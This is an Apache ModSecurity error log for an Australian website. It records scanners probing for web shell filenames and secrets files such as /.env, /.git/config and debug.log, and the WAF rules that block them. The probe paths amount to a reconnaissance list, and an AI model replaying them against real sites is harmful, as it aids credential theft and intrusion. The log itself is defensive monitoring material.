[Fri Dec 12 21:36:43.203617 2025] [:error] [pid 60649:tid 60671] [client 130.33.54.142:14816] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aTwaa1OcUGKU3sgfHP8BBQAAARM"]
[Fri Dec 12 21:36:43.443479 2025] [:error] [pid 26520:tid 26572] [client 130.33.54.142:14786] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aTwaa0G_frlY5vNXu_AB7wAAAFQ"]
[Fri Dec 12 21:36:43.731306 2025] [:error] [pid 26607:tid 26618] [client 130.33.54.142:14879] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aTwaa8b_b0tOEWTL2KmkJwAAAMk"]
[Fri Dec 12 21:36:43.986848 2025] [:error] [pid 26519:tid 26537] [client 130.33.54.142:14898] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aTwaa88TRgSGOeWqEhf46AAAAA4"]
[Fri Dec 12 21:36:44.258056 2025] [:error] [pid 26521:tid 26579] [client 130.33.54.142:14802] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aTwabJdhcAPU617AKTCJ_AAAAIA"]
[Fri Dec 12 21:36:44.623489 2025] [:error] [pid 26521:tid 26600] [client 130.33.54.142:14578] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aTwabJdhcAPU617AKTCJ_gAAAJU"]
[Fri Dec 12 21:36:44.937608 2025] [:error] [pid 26521:tid 26594] [client 130.33.54.142:14464] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/if.php"] [unique_id "aTwabJdhcAPU617AKTCJ_wAAAI8"]
[Fri Dec 12 21:36:45.250696 2025] [:error] [pid 55760:tid 55784] [client 130.33.54.142:14797] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/if.php"] [unique_id "aTwabVObDQlftFDyGawZ5wAAAZY"]
[Fri Dec 12 21:36:45.515689 2025] [:error] [pid 26520:tid 26554] [client 130.33.54.142:14475] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/if.php"] [unique_id "aTwabUG_frlY5vNXu_AB8AAAAEI"]
[Fri Dec 12 21:36:45.870245 2025] [:error] [pid 55760:tid 55779] [client 130.33.54.142:14474] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/if.php"] [unique_id "aTwabVObDQlftFDyGawZ6AAAAZE"]
[Fri Dec 12 21:36:46.197083 2025] [:error] [pid 26520:tid 26567] [client 130.33.54.142:14564] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aTwabkG_frlY5vNXu_AB8QAAAE8"]
[Fri Dec 12 21:36:46.554407 2025] [:error] [pid 26520:tid 26566] [client 130.33.54.142:14571] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aTwabkG_frlY5vNXu_AB9QAAAE4"]
[Fri Dec 12 21:36:46.830898 2025] [:error] [pid 26520:tid 26574] [client 130.33.54.142:14787] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aTwabkG_frlY5vNXu_AB9wAAAFY"]
[Fri Dec 12 21:36:47.139361 2025] [:error] [pid 26607:tid 26627] [client 130.33.54.142:14842] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aTwab8b_b0tOEWTL2KmkKAAAANI"]
[Fri Dec 12 21:36:47.406414 2025] [:error] [pid 55760:tid 55774] [client 130.33.54.142:14896] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "aTwab1ObDQlftFDyGawZ6gAAAYw"]
[Fri Dec 12 21:36:47.764923 2025] [:error] [pid 26607:tid 26632] [client 130.33.54.142:15148] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "aTwab8b_b0tOEWTL2KmkKQAAANc"]
[Fri Dec 12 21:36:48.032419 2025] [:error] [pid 55760:tid 55765] [client 130.33.54.142:14520] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "aTwacFObDQlftFDyGawZ7AAAAYM"]
[Fri Dec 12 21:36:48.389670 2025] [:error] [pid 27950:tid 27962] [client 130.33.54.142:15124] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "aTwacIVLRvkrdsSc1F2mewAAAUo"]
[Fri Dec 12 21:36:48.687497 2025] [:error] [pid 26520:tid 26559] [client 130.33.54.142:14814] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aTwacEG_frlY5vNXu_AB-gAAAEc"]
[Fri Dec 12 21:36:49.283706 2025] [:error] [pid 26519:tid 26545] [client 130.33.54.142:14359] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aTwacc8TRgSGOeWqEhf47AAAABY"]
[Fri Dec 12 21:36:49.542035 2025] [:error] [pid 26521:tid 26589] [client 130.33.54.142:14801] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aTwacZdhcAPU617AKTCKBQAAAIo"]
[Fri Dec 12 21:36:49.822360 2025] [:error] [pid 26607:tid 26611] [client 130.33.54.142:14562] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aTwaccb_b0tOEWTL2KmkLQAAAMI"]
[Fri Dec 12 21:36:50.151049 2025] [:error] [pid 26519:tid 26524] [client 130.33.54.142:14889] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avaa.php"] [unique_id "aTwacs8TRgSGOeWqEhf47gAAAAE"]
[Fri Dec 12 21:36:50.445647 2025] [:error] [pid 27950:tid 27974] [client 130.33.54.142:14832] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avaa.php"] [unique_id "aTwacoVLRvkrdsSc1F2mfwAAAVY"]
[Fri Dec 12 21:36:50.853725 2025] [:error] [pid 26521:tid 26598] [client 130.33.54.142:14798] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avaa.php"] [unique_id "aTwacpdhcAPU617AKTCKBgAAAJM"]
[Fri Dec 12 21:36:51.208291 2025] [:error] [pid 26607:tid 26623] [client 130.33.54.142:14818] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avaa.php"] [unique_id "aTwac8b_b0tOEWTL2KmkMAAAAM4"]
[Fri Dec 12 21:36:51.467816 2025] [:error] [pid 26607:tid 26613] [client 130.33.54.142:14514] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwac8b_b0tOEWTL2KmkMQAAAMQ"]
[Fri Dec 12 21:36:51.899123 2025] [:error] [pid 26519:tid 26526] [client 130.33.54.142:14482] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwac88TRgSGOeWqEhf48QAAAAM"]
[Fri Dec 12 21:36:52.212636 2025] [:error] [pid 55760:tid 55778] [client 130.33.54.142:14799] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwadFObDQlftFDyGawZ7wAAAZA"]
[Fri Dec 12 21:36:52.491442 2025] [:error] [pid 26519:tid 26536] [client 130.33.54.142:14880] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwadM8TRgSGOeWqEhf48gAAAA0"]
[Fri Dec 12 21:36:52.819610 2025] [:error] [pid 55760:tid 55764] [client 130.33.54.142:14489] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwadFObDQlftFDyGawZ8QAAAYI"]
[Fri Dec 12 21:36:53.081403 2025] [:error] [pid 55760:tid 55772] [client 130.33.54.142:14904] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwadVObDQlftFDyGawZ8gAAAYo"]
[Fri Dec 12 21:36:53.312487 2025] [:error] [pid 55760:tid 55780] [client 130.33.54.142:14540] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwadVObDQlftFDyGawZ8wAAAZI"]
[Fri Dec 12 21:36:53.613289 2025] [:error] [pid 26520:tid 26569] [client 130.33.54.142:14829] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwadUG_frlY5vNXu_ACAAAAAFE"]
[Fri Dec 12 21:36:53.910495 2025] [:error] [pid 26519:tid 26538] [client 130.33.54.142:14340] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aTwadc8TRgSGOeWqEhf49AAAAA8"]
[Fri Dec 12 21:36:54.206973 2025] [:error] [pid 60649:tid 60672] [client 130.33.54.142:14830] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/js420.php"] [unique_id "aTwadlOcUGKU3sgfHP8BBwAAARQ"]
[Fri Dec 12 21:57:50.667639 2025] [:error] [pid 26607:tid 26613] [client 152.42.203.210:65456] [client 152.42.203.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.203.210, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTwfXsb_b0tOEWTL2KmnSQAAAMQ"], referer: agitosaoroque.com.br/blog//wp-login.php
[Fri Dec 12 21:57:50.686840 2025] [proxy_fcgi:error] [pid 26607:tid 26613] [client 152.42.203.210:65456] AH01071: Got error 'Primary script unknown', referer: agitosaoroque.com.br/blog//wp-login.php
[Fri Dec 12 21:59:13.527570 2025] [:error] [pid 26520:tid 26553] [client 194.180.49.169:53780] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTwfsUG_frlY5vNXu_AFFgAAAEE"]
[Fri Dec 12 21:59:15.076191 2025] [:error] [pid 26607:tid 26630] [client 194.180.49.169:53782] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTwfs8b_b0tOEWTL2KmnnQAAANU"]
[Fri Dec 12 21:59:16.624454 2025] [:error] [pid 26519:tid 26533] [client 194.180.49.169:53796] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aTwftM8TRgSGOeWqEhf8cgAAAAo"]
[Fri Dec 12 21:59:17.831498 2025] [:error] [pid 26521:tid 26587] [client 194.180.49.169:53810] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aTwftZdhcAPU617AKTCRJAAAAIg"]
[Fri Dec 12 21:59:19.223151 2025] [:error] [pid 26607:tid 26622] [client 194.180.49.169:53820] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aTwft8b_b0tOEWTL2KmnnwAAAM0"]
[Fri Dec 12 21:59:20.771629 2025] [:error] [pid 26521:tid 26600] [client 194.180.49.169:53832] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aTwfuJdhcAPU617AKTCRKQAAAJU"]
[Fri Dec 12 21:59:21.981112 2025] [:error] [pid 26520:tid 26566] [client 194.180.49.169:53848] [client 194.180.49.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "aTwfuUG_frlY5vNXu_AFNAAAAE4"]
[Fri Dec 12 21:59:26.274474 2025] [proxy_fcgi:error] [pid 55760:tid 55778] [client 194.180.49.169:24318] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:59:39.032006 2025] [proxy_fcgi:error] [pid 55760:tid 55786] [client 194.180.49.169:1572] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:59:40.247087 2025] [proxy_fcgi:error] [pid 26519:tid 26534] [client 194.180.49.169:1586] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:59:42.662130 2025] [proxy_fcgi:error] [pid 26521:tid 26600] [client 194.180.49.169:26184] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:59:43.875279 2025] [proxy_fcgi:error] [pid 60649:tid 60652] [client 194.180.49.169:26192] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:59:48.702341 2025] [:error] [pid 55760:tid 55778] [client 194.180.49.169:26228] [client 194.180.49.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/debug.log"] [unique_id "aTwf1FObDQlftFDyGawfbwAAAZA"]
[Sat Dec 13 00:03:15.789020 2025] [proxy_fcgi:error] [pid 26521:tid 26601] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:15.880938 2025] [proxy_fcgi:error] [pid 26521:tid 26593] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.066344 2025] [proxy_fcgi:error] [pid 26521:tid 26581] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.258072 2025] [proxy_fcgi:error] [pid 26521:tid 26592] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.350437 2025] [proxy_fcgi:error] [pid 26521:tid 26585] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.466020 2025] [proxy_fcgi:error] [pid 26521:tid 26600] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.558682 2025] [proxy_fcgi:error] [pid 26521:tid 26598] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.664211 2025] [proxy_fcgi:error] [pid 26521:tid 26596] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.758252 2025] [proxy_fcgi:error] [pid 26521:tid 26602] [client 4.193.186.94:35859] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:03:16.845974 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:35859] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aTw8xJdhcAPU617AKTDDWwAAAIs"]
[Sat Dec 13 00:03:17.364922 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:35939] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aTw8xZdhcAPU617AKTDDXwAAAIc"]
[Sat Dec 13 00:03:17.645537 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:35876] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aTw8xYVLRvkrdsSc1F3MzAAAAU8"]
[Sat Dec 13 00:03:17.910066 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:35942] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aTw8xYVLRvkrdsSc1F3MzgAAAUw"]
[Sat Dec 13 00:03:18.094692 2025] [:error] [pid 26521:tid 26589] [client 4.193.186.94:35924] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gib.php"] [unique_id "aTw8xpdhcAPU617AKTDDYgAAAIo"]
[Sat Dec 13 00:03:18.308768 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:35914] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gib.php"] [unique_id "aTw8xpdhcAPU617AKTDDZAAAAI4"]
[Sat Dec 13 00:03:18.571191 2025] [:error] [pid 27950:tid 27957] [client 4.193.186.94:35941] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gib.php"] [unique_id "aTw8xoVLRvkrdsSc1F3MzwAAAUU"]
